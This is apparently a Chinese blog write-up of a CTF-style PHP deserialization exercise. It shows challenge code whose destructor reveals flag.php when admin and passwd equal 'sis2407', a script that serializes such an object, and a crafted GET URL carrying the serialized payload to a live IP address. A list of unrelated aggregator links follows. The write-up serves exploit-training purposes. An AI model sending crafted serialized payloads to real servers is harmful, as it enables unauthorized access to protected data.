当前位置: 首页 > news >正文

反序列化漏洞练习2

拿到题目,发现目标是获得flag.php的内容,且sis中admin和passwd等于sis2407时会输出fag的内容

根据源码编写序列化代码

 <?php 
error_reporting(0);
class sis{public $admin;public $passwd;public function __construct(){$this->admin ="sis2407";$this->passwd = "sis2407";}public function __destruct(){if($this->admin === "sis2407" && $this->passwd === "sis2407"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}
$a=new sis;
echo serialize($a);
?>

得到序列化的sis,将序列化后的sis以get的方式为sis传参

124.221.58.83:81/s2.php?sis=O:3:"sis":2:{s:5:"admin";s:7:"sis2407";s:6:"passwd";s:7:"sis2407";}

http://www.lryc.cn/news/434214.html

相关文章:

  • 基于SpringBoot的社区医院管理系统
  • YOLOv8安装配置教程(Windows版)
  • Linux的历史,版本,Linux的环境安装、简单学习4个基本的Linux指令等的介绍
  • 【论文阅读】01-Survey on Temporal Knowledge Graph
  • 【AIGC】InstructPixPix:基于文本引导的图像编辑技术
  • 无人机动力系统设计之桨叶推力计算
  • LabVIEW重构其他语言开发的旧系统
  • [晕事]今天做了件晕事43 python-byte串长度与转义字符
  • 初识redis(String,Hash,List,Set,SortedSet)
  • Ton与ETH的一些独特的区别
  • C++ | Leetcode C++题解之第396题旋转图像
  • 前向渲染路径
  • Python画笔案例-040 绘制五角星顶圆
  • 【区块链 + 人才服务】可信教育区块链治理系统 | FISCO BCOS应用案例
  • 期货量化-群体优化算法:混合蛙跳算法(SFL)
  • tensorflow-线性回归python入门
  • VSCode学习笔记
  • 【Canvas与艺术】菊花孔雀螺旋
  • circuitjs 普通开关和按钮开关
  • 客户端绑定本地端口与服务器建立连接的详细实现
  • C++ std::bind函数用法
  • Caffenie配合Redis做两级缓存
  • MATLAB实现PID参数自动整定
  • UE5学习笔记21-武器的射击功能
  • Mamba模型学习笔记
  • android kotlin 基础复习 继承 inherit
  • 读软件设计的要素06概念完整性
  • Java 每日一刊(第2期):搭建开发环境
  • 探索EasyCVR与AI技术深度融合:视频汇聚平台的新增长点
  • IBM中国研发部调整:全球化与本土化的新平衡